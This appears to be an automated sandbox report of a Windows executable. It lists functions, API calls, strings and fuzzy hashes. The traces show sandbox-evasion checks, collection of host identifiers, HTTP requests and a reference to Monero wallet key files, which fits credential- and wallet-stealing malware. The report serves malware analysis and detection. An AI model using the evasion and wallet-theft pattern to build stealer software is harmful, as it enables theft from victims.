Sleep.KERNEL32(0000EA60), ref: 00485A1B

Strings

ERROR, xrefs: 0048577D
ERROR, xrefs: 00485849
ERROR, xrefs: 004859FE
ERROR, xrefs: 00485636
ERROR, xrefs: 00485932
ERROR, xrefs: 00485693

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 67aa3a3b624dbf14ae515dc4d2b672d086be53ad0efbeff52eb2fd66a249d702
Instruction ID: 88efdae90fb068104a639411df46e0a71004b26558607818a40ace8b38b362b4
Opcode Fuzzy Hash: 67aa3a3b624dbf14ae515dc4d2b672d086be53ad0efbeff52eb2fd66a249d702
Instruction Fuzzy Hash: 06E18571910104AADB18FBB1DC96EED7339AF54304F50892FB40652091EF7C6F59CBAA

Function 004817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004817C5
ExitProcess.KERNEL32 ref: 004817D1

Strings

block, xrefs: 004817B7

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 2fc22199fafc8295faec35d365acba4658ad14e8170cb9584163f8eee2184a8c
Instruction ID: df69049100bd9a6e863445d6c97080ca260f61aa25535710b11ff65a0251ca8b
Opcode Fuzzy Hash: 2fc22199fafc8295faec35d365acba4658ad14e8170cb9584163f8eee2184a8c
Instruction Fuzzy Hash: A1519DB4A00209EFDB04EFA4D954BBE37B9BF04304F10595BE406A7360D778E952CB6A

Function 00487500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00487542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0048757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00487603
RtlAllocateHeap.NTDLL(00000000), ref: 0048760A
wsprintfA.USER32 ref: 00487640

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Strings

:, xrefs: 0048755C
I, xrefs: 0048764D, 00487655, 0048761B, 00487623
\, xrefs: 00487560
C, xrefs: 0048754C

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$I
API String ID: 1544550907-2636280491
Opcode ID: 6746fbcdc5b2406351be08b1f3867355671c3909e746cccffe45cd4572b1668e
Instruction ID: 0cd46ac30d74b8a1c1641622ec5f94c47e433e7a31435508609a27c424df082d
Opcode Fuzzy Hash: 6746fbcdc5b2406351be08b1f3867355671c3909e746cccffe45cd4572b1668e
Instruction Fuzzy Hash: 1F4194B1D04248ABDB10EF94DC55BDEBBB8EF08714F10459EF50967280D778AA84CBA5

Function 004869F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,01232290), ref: 004898A1
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,01232188), ref: 004898BA
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,01232230), ref: 004898D2
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,012321B8), ref: 004898EA
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,012321E8), ref: 00489903
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,012391E0), ref: 0048991B
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,01225570), ref: 00489933
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,012255B0), ref: 0048994C
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,012322C0), ref: 00489964
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,012322A8), ref: 0048997C
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,01232308), ref: 00489995
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,012323F8), ref: 004899AD
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,012254D0), ref: 004899C5
Part of subcall function 00489860: GetProcAddress.KERNEL32(74DD0000,01232428), ref: 004899DE

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 004711D0: ExitProcess.KERNEL32 ref: 00471211

Part of subcall function 00471160: GetSystemInfo.KERNEL32(?), ref: 0047116A
Part of subcall function 00471160: ExitProcess.KERNEL32 ref: 0047117E

Part of subcall function 00471110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0047112B
Part of subcall function 00471110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00471132
Part of subcall function 00471110: ExitProcess.KERNEL32 ref: 00471143

Part of subcall function 00471220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0047123E
Part of subcall function 00471220: __aulldiv.LIBCMT ref: 00471258
Part of subcall function 00471220: __aulldiv.LIBCMT ref: 00471266
Part of subcall function 00471220: ExitProcess.KERNEL32 ref: 00471294

Part of subcall function 00486770: GetUserDefaultLangID.KERNEL32 ref: 00486774

Part of subcall function 00471190: ExitProcess.KERNEL32 ref: 004711C6

Part of subcall function 00487850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004711B7), ref: 00487880
Part of subcall function 00487850: RtlAllocateHeap.NTDLL(00000000), ref: 00487887
Part of subcall function 00487850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0048789F

Part of subcall function 004878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00487910
Part of subcall function 004878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00487917
Part of subcall function 004878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0048792F

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01239170,?,0049110C,?,00000000,?,00491110,?,00000000,00490AEF), ref: 00486ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00486AE8
CloseHandle.KERNEL32(00000000), ref: 00486AF9
Sleep.KERNEL32(00001770), ref: 00486B04
CloseHandle.KERNEL32(?,00000000,?,01239170,?,0049110C,?,00000000,?,00491110,?,00000000,00490AEF), ref: 00486B1A
ExitProcess.KERNEL32 ref: 00486B22

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 9d8793d9fcd3c693680624316de4629464d578c1c4762df50f78759331bd5c8a
Instruction ID: e1a048ee0071cc31808b448249f2aba5b324e776b99f0c07290ef6ea132cd7f9
Opcode Fuzzy Hash: 9d8793d9fcd3c693680624316de4629464d578c1c4762df50f78759331bd5c8a
Instruction Fuzzy Hash: 9B311E71904208AAEB04F7E1DC56BEE7739AF04304F10496FF112A6192DFBC6945C7AA

Function 00471220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0047123E
__aulldiv.LIBCMT ref: 00471258
__aulldiv.LIBCMT ref: 00471266
ExitProcess.KERNEL32 ref: 00471294

Strings

@, xrefs: 00471233

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: c169da84fef3fd6c53ca0bb048d8577358745e376a51be03929fc7d38d53a04c
Instruction ID: 21337400f32bcaaf6a722c11d86a3c57503d42cf3020d2a6c658fee0f82be385
Opcode Fuzzy Hash: c169da84fef3fd6c53ca0bb048d8577358745e376a51be03929fc7d38d53a04c
Instruction Fuzzy Hash: 5C016DB0D44308FAEB10EBE4DC49BDEBB78AB04705F20858AE709B62D1D7785941879D

Function 00486AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01239170,?,0049110C,?,00000000,?,00491110,?,00000000,00490AEF), ref: 00486ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00486AE8
CloseHandle.KERNEL32(00000000), ref: 00486AF9
Sleep.KERNEL32(00001770), ref: 00486B04
CloseHandle.KERNEL32(?,00000000,?,01239170,?,0049110C,?,00000000,?,00491110,?,00000000,00490AEF), ref: 00486B1A
ExitProcess.KERNEL32 ref: 00486B22

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 627695089eb96dfbe65d29d220d9089b584b76264625a493db0f58cb1ac4bc76
Instruction ID: 080a5fc73e2fe60d257de9be255cead15236a871011debc00b0696390d2e56d1
Opcode Fuzzy Hash: 627695089eb96dfbe65d29d220d9089b584b76264625a493db0f58cb1ac4bc76
Instruction Fuzzy Hash: ACF03AB0944219AAE740FBA09C06BBE7B34EB04705F114E1AF512A12C1DBF96981D75B

Function 004747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00474839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00474849

Strings

<, xrefs: 004747C9

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 00712f95e145abe199289d1497ef23af860f3b2ca73dcb267bdec721ae7b8268
Instruction ID: 82ab199545416e96a3f51836d500ecb92b75d69c6c94f67e8b3eaceaa17e0f5e
Opcode Fuzzy Hash: 00712f95e145abe199289d1497ef23af860f3b2ca73dcb267bdec721ae7b8268
Instruction Fuzzy Hash: 5D216FB1D00208ABDF14EFA5E845ADE7B75FB04320F10862AF919A72C0EB746A05CF91

Function 004851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 00476280: InternetOpenA.WININET(00490DFE,00000001,00000000,00000000,00000000), ref: 004762E1
Part of subcall function 00476280: StrCmpCA.SHLWAPI(?,0123E858), ref: 00476303
Part of subcall function 00476280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00476335
Part of subcall function 00476280: HttpOpenRequestA.WININET(00000000,GET,?,0123E298,00000000,00000000,00400100,00000000), ref: 00476385
Part of subcall function 00476280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004763BF
Part of subcall function 00476280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004763D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00485228

Strings

ERROR, xrefs: 00485273
ERROR, xrefs: 0048521A

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 68394b0f972cebbee60df293262e273e1c426ab8e9ee640bd2bf176549a0f73f
Instruction ID: 0174d4b3077bb314ac40494ad62e481b3a60c2e7b88d0570749c3362a3f06e02
Opcode Fuzzy Hash: 68394b0f972cebbee60df293262e273e1c426ab8e9ee640bd2bf176549a0f73f
Instruction Fuzzy Hash: 73117730800008A7DB08FF65DD52AED3338AF40304F40495FF80A56592EF7CAB15CB6A

Function 004878E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00487910
RtlAllocateHeap.NTDLL(00000000), ref: 00487917
GetComputerNameA.KERNEL32(?,00000104), ref: 0048792F

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 26c3296a272dae15783e17672e176f0e250ccb049e8dd49008aa80d08af483b6
Instruction ID: b72455174323a80419cc8abad70bd2410af90d5c145dda18009c7f9560230dab
Opcode Fuzzy Hash: 26c3296a272dae15783e17672e176f0e250ccb049e8dd49008aa80d08af483b6
Instruction Fuzzy Hash: B20186F1944204EFD700DF94DD45BAEBBB8F704B21F20461AF645E3680D37859408BA6

Function 00471110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0047112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00471132
ExitProcess.KERNEL32 ref: 00471143

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 0bda4d3391a7298d9c6b5aae8fc5a44677b409c2c23d52ece3dba9f421c9a7a1
